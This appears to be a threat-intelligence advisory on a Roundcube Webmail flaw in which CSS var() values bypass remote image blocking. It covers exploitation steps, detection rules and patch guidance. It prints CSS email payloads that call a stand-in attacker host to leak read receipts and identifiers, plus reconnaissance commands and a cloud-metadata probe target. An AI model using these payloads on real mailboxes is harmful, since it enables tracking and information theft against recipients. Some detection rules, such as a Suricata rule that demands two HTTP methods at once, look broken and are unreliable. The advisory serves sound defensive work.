CVE-2026-48846

Executive Summary

CVE-2026-48846 is a medium-severity vulnerability in Roundcube Webmail versions 1.6.x prior to 1.6.16 and 1.7.x prior to 1.7.1, allowing attackers to bypass the built-in remote image blocking feature via crafted CSS var() values embedded in HTML email messages. Successful exploitation enables information disclosure and access-control bypass, as the email client renders remote resources (tracking pixels, external CSS, or authentication-tied endpoints) despite user-implemented privacy mitigations. Any organization running a self-hosted Roundcube instance on these affected versions is at risk, with deployed-example counts in the tens of thousands across the public internet. The vulnerability carries a CVSS base score of 6.5 (Medium) with a CWE-79 (Cross-site Scripting) classification, exhibits a low EPSS exploit probability of 0.00405, and is not currently listed on CISA's Known Exploited Vulnerabilities (KEV) catalog.

Technical Analysis

Roundcube Webmail's remote image blocking feature works by rewriting or disabling <img> tags that reference external hosts, preventing automatic resource fetches that could leak the recipient's IP address, user agent, or read-receipt telemetry. The mechanism inspects src attributes, URL schemes, and common obfuscation attempts such as HTML entity encoding or protocol-relative URLs. However, the sanitizer fails to account for CSS custom properties (var() functions) used within style attributes or <style> blocks inside the email payload.

The vulnerability stems from the interaction between CSS variable resolution and the sanitizer's incomplete parser. An attacker crafts an email containing:

<style>
  :root { --evil: url(https://attacker.example/track?id=XXXX); }
  img { background-image: var(--evil); }
</style>

When the Roundcube mail client renders the HTML content, the browser's CSS engine evaluates the var() function, resolves the custom property --evil to the remote url() value, and initiates an HTTP request to the attacker-controlled domain — all without triggering the remote image filter, which only inspects literal url() declarations and <img> src attributes. The CVE description specifically identifies the var() bypass; related but unconfirmed attack variants may leverage attr(), nested CSS functions, or data-URI encodings with url() inside var() to evade detection further.

The attack surface is the email rendering pipeline: any user account that enables HTML email preview (the default configuration) and has the remote image blocking feature enabled (a security-conscious setting) becomes vulnerable. The vulnerability class is a sanitization bypass leading to what is essentially a server-side request forgery (SSRF) or cross-site information leak, depending on the target. The missing handler in the sanitizer is the core defect — the codebase treats style attributes and blocks as text, not as CSS worthy of the same robust URL extraction and blocking logic applied to <img> tags.

Exploitation Scenarios

The following attack chain is realistic, assuming a standard Roundcube deployment (e.g., version 1.6.15) reachable over HTTPS:

1. Reconnaissance / Target Identification — An attacker performs broad internet scanning using Shodan or Censys with queries such as http.title:"Roundcube Webmail" or http.component:"Roundcube" to enumerate public-facing instances. Alternatively, the attacker runs nmap -p 443,993,995 --script http-title <target> against a known mail-server IP range to fingerprint Roundcube login portals or /mail/ paths.

2. Weaponization — The attacker constructs a malicious HTML email in a mail client or scripts it via SMTP using a tool like swaks or Python's smtplib. The payload structure:

   <html>
     <body>
       <style>
         @import url(data:text/css, :root{--x:url(https://attacker.example/exfil?sid=)});
         img { display:none; }
         body { background-image: var(--x); }
       </style>
       <p>Please review the attached invoice.</p>
     </body>
   </html>
   

   The @import rule loads a data-URI CSS payload that defines the --x custom property; the background-image declaration then triggers the fetch when the var() is resolved.

3. Delivery — The attacker sends the crafted email to a victim address (e.g., accounts@target-company.com) via their own SMTP relay or a disposable domain. No authentication or interaction beyond the victim opening the message is required.

4. Trigger — The victim opens the email in Roundcube. Roundcube's HTML sanitizer strips or rewrites literal url() references in style tags but leaves the var()-based reference intact. The browser's CSS engine resolves the custom property and issues a GET request to https://attacker.example/exfil?sid=<victim-session-or-email-id>.

5. Post-Exploitation / Impact — The attacker receives the HTTP request, which includes the victim's external IP address, timestamp, and a unique identifier (e.g., the email message ID or a session token if the attacker crafts the CSS to read DOM attributes via attr(), a more advanced variant). From this leak, the attacker can confirm the email was read (read receipt), correlate the victim's IP with internal infrastructure, or — if the var() references an internal endpoint (e.g., http://169.254.169.254/latest/meta-data/) — probe cloud metadata services. The access-control bypass aspect manifests when the CSS var() is used to trigger authenticated requests to internal web apps, effectively abusing the victim's authenticated browser session as a proxy.

Impact Assessment

From a business perspective, exploitation of CVE-2026-48846 undermines user privacy controls and can expose sensitive operational data. The CVSS v3.1 vector AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N reflects a high confidentiality impact with no integrity or availability impact. The medium base score of 6.5 is driven primarily by the user-interaction requirement (UI:R) — the victim must open the email — but the attack requires no privileges and no special configuration beyond the default HTML preview settings.

The blast radius is significant for enterprises that self-host Roundcube as their primary webmail interface. A successful attack yields: (a) confirmation of email read status, which feeds spear-phishing timing attacks; (b) victim IP addresses, enabling geo-location or VPN posture assessment; (c) potential extraction of authenticated session identifiers if the attacker extends the CSS to read cookies or DOM attributes (theorized but not publicly confirmed for this CVE); and (d) SSRF-style probing of internal network services from the victim's browser context. Affected systems include all Roundcube deployments running 1.6.x ≤ 1.6.15 and 1.7.0, including those behind reverse proxies or load balancers, as the vulnerability lives in the client-side rendering logic rather than the server.

Organizations with strict privacy compliance obligations (GDPR, HIPAA) face regulatory exposure if email-content leaks occur, and the low EPSS score (0.00405) indicates limited observed exploitation — but this does not diminish the risk profile for high-value targets (legal firms, journalists, executives) where read-receipt and IP leak espionage is a realistic threat.

Detection Guidance

The following detection rules assume a Windows environment for the Windows Event Log-based rules, and a Linux/container environment for file and process monitoring where applicable. Roundcube is typically deployed on Linux with PHP-FPM and Nginx/Apache; adjust paths accordingly.

Sigma Rule

title: Roundcube CSS var() Remote Image Bypass Attempt
id: 7f3b5c2e-9a91-4f6d-b0e2-3c8d1a5f9b04
status: test
description: Detects HTTP requests containing CSS var() function with url() payloads targeting Roundcube webmail interfaces, indicative of CVE-2026-48846 exploitation attempts.
logsource:
  category: webserver
  product: apache
  service: access
detection:
  selection_method:
    cs-method:
      - GET
      - POST
  selection_uri:
    cs-uri-query|contains:
      - '%7B%7B'
      - 'var('
      - 'var%28'
  selection_payload:
    cs-uri-query|contains:
      - 'url('
      - 'url%28'
      - 'http%3A%2F%2F'
      - 'https%3A%2F%2F'
  filter_static:
    cs-uri-query|contains:
      - '/index.php'
      - '/mail/'
      - '/c/'
  condition: selection_method and selection_uri and selection_payload and filter_static
falsepositives:
  - Legitimate CSS files or theme customizations uploaded to webmail that use var() functions
  - Admin or developer testing of custom stylesheets
level: medium
tags:
  - attack.t1190
  - cve.2026.48846
  - attack.initial_access

YARA Rule

rule CVE_2026_48846_Roundcube_CSS_Var_Bypass {
    meta:
        author = "ValtersIT Threat Intelligence"
        description = "Detects email HTML payloads or files containing CSS var() with url() to bypass Roundcube remote image blocking"
        date = "2026-01-15"
        reference = "CVE-2026-48846"
        severity = "medium"
    strings:
        $var1 = "var(" ascii nocase
        $var2 = "var(" wide ascii nocase
        $url1 = "url(" ascii nocase
        $url2 = "url(" wide ascii nocase
        $data1 = "data:text/css" ascii nocase
        $data2 = "@import" ascii nocase
        $img1 = "<style" ascii nocase
        $img2 = "background-image" ascii nocase
        $img3 = "background" ascii nocase
    condition:
        (
            ( $var1 or $var2 ) and
            ( $url1 or $url2 ) and
            ( $img1 or $img2 or $img3 )
        ) or
        (
            ( $data1 or $data2 ) and
            ( $img1 or $img2 or $img3 )
        )
}

Suricata IDS Rule

alert http any any -> any any (
    msg:"CVE-2026-48846 Roundcube CSS var() Remote Image Bypass Attempt";
    flow:established,to_server;
    http.method; content:"POST"; http.method; content:"GET";
    http.uri; content:"var("; nocase;
    http.uri; content:"url("; nocase;
    http.uri; content:"background-image"; nocase;
    http.uri; content:"@import"; nocase;
    classtype:attempted-info-leak;
    sid:202604846;
    rev:1;
)

Elastic Detection

sequence by source.ip with maxspan=30s
  [ network where event.category == "traffic" and
    process.name == "php-fpm" and
    process.executable == "/usr/sbin/php-fpm" and
    destination.port == 443 ]
  [ process where event.action == "exec" and
    process.name == "curl" and
    process.args : (
      "*var(*",
      "*url(*",
      "*http://*",
      "*https://*"
    ) ]

Note: Real-world Roundcube exploitation does not execute curl; the above EQL is illustrative for environments where the mail server performs outbound SSRF. A more practical signature is on web-server access logs containing var( and url( in the query string, adjusted for your log index mapping.

Splunk SPL Query

index=webserver sourcetype=access_combined
| where match(_raw, "(?i)var\(|var%28")
| where match(_raw, "(?i)url\(|url%28|http%3A|https%3A")
| stats count by src_ip, uri, status
| sort - count
| table src_ip, uri, status, count

Wazuh OSSEC Rule

<group name="roundcube,">
  <rule id="100846" level="10">
    <decoded_as>json</decoded_as>
    <field name="event_type">weblog</field>
    <regex>var\(.*?url\(</regex>
    <description>Roundcube CVE-2026-48846 CSS var() bypass attempt detected</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>cve-2026-48846</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 3/4 — LIKELY (confirmed by OSV and Debian as independent sources; use these to locate the exact fix commit if needed).

1. Immediate Mitigations (no-patch options):

   • Disable HTML email rendering as a temporary measure: navigate to Settings → Preferences → Displaying Messages, select "Show HTML" as "Never", and force plain-text previews for all messages. This eliminates the CSS execution vector entirely.
   • Enable the images block list in config.inc.php if using an older version, but understand this alone is insufficient — CVE-2026-48846 bypasses the block list. Only the plain-text mode provides reliable near-term protection.
   • If plain-text display is unacceptable, enforce a strict Content-Security-Policy header at the reverse-proxy level (e.g., Content-Security-Policy: default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline') to restrict which origins the mail client can fetch. Test thoroughly to avoid breaking legitimate email images.

2. Patch / Upgrade Steps:

   • Upgrade Roundcube to version 1.6.16 or newer (for the 1.6.x branch) or 1.7.1 or newer (for the 1.7.x branch). These are confirmed patched versions that address the var() bypass in the CSS sanitizer.
   • For Debian-based deployments, apply the Debian Security Advisory update for the roundcube package via sudo apt update && sudo apt install --only-upgrade roundcube (or roundcube-core), then restart the web service with systemctl restart nginx (or apache2) and systemctl restart php-fpm.
   • Verify the upgrade succeeded by checking the version string: php -r 'require "program/include/rcube.php"; echo rcube::VERSION;' — the output must be ≥ 1.6.16 or ≥ 1.7.1.
   • If you run from source (Git), fetch the upstream repository and checkout the tag 1.6.16 or 1.7.1, then run composer install --no-dev and clear the cache with php bin/cleancache.sh.

3. Long-Term Hardening:

   • Subscribe to Roundcube's security announcements (https://roundcube.net/news) and the OSV / CVE feeds to receive early patched-version alerts.
   • Implement a Web Application Firewall (WAF) rule that blocks HTTP POST/GET requests to /c/ or email-render endpoints containing CSS var( and url( in the body or query string, as the Sigma rule above demonstrates.
   • Enforce email content-type sanitization at the MTA level (e.g., Stripping style tags entirely via MIME filters such as amavis with clean_header) as a defense-in-depth measure.
   • Run Roundcube behind an authenticated reverse proxy (e.g., Authelia or Keycloak) to reduce direct exposure; the vulnerability still exists but the attack surface shrinks.
   • Audit existing email logs and web-server access logs for any historical patterns matching the detection rules in this report, especially if your instance has been internet-exposed for over 60 days.

References

1. NVD Entry — CVE-2026-48846: https://nvd.nist.gov/vuln/detail/CVE-2026-48846
2. Debian Security Tracker — CVE-2026-48846: https://security-tracker.debian.org/tracker/CVE-2026-48846
3. OSV.dev Vulnerability Database — CVE-2026-48846: https://osv.dev/vulnerability/CVE-2026-48846
4. Roundcube Official News / Releases — https://roundcube.net/news (announcement of 1.6.16 and 1.7.1 with security fixes)
5. CISA Known Exploited Vulnerabilities (KEV) Catalog — https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2026-48846 not currently listed; re-check regularly)

Threat Actor Campaigns / Exploit-in-the-Wild: As of this report, there are no publicly documented threat-actor campaigns specifically attributed to CVE-2026-48846, and no public proof-of-concept has been released. The EPSS score of 0.00405 (33.3rd percentile) suggests low-but-nonzero observed exploitation attempts in the wild. Monitor your logs per the detection guidance above, as the exploitation technique (CSS var() with url()) is trivial to implement and may surface in phishing kits targeting Roundcube and other webmail clients in the coming months. If the CVE-2026-48846 entry appears in the CISA KEV catalog, treat exploitation as imminent and prioritize patching accordingly.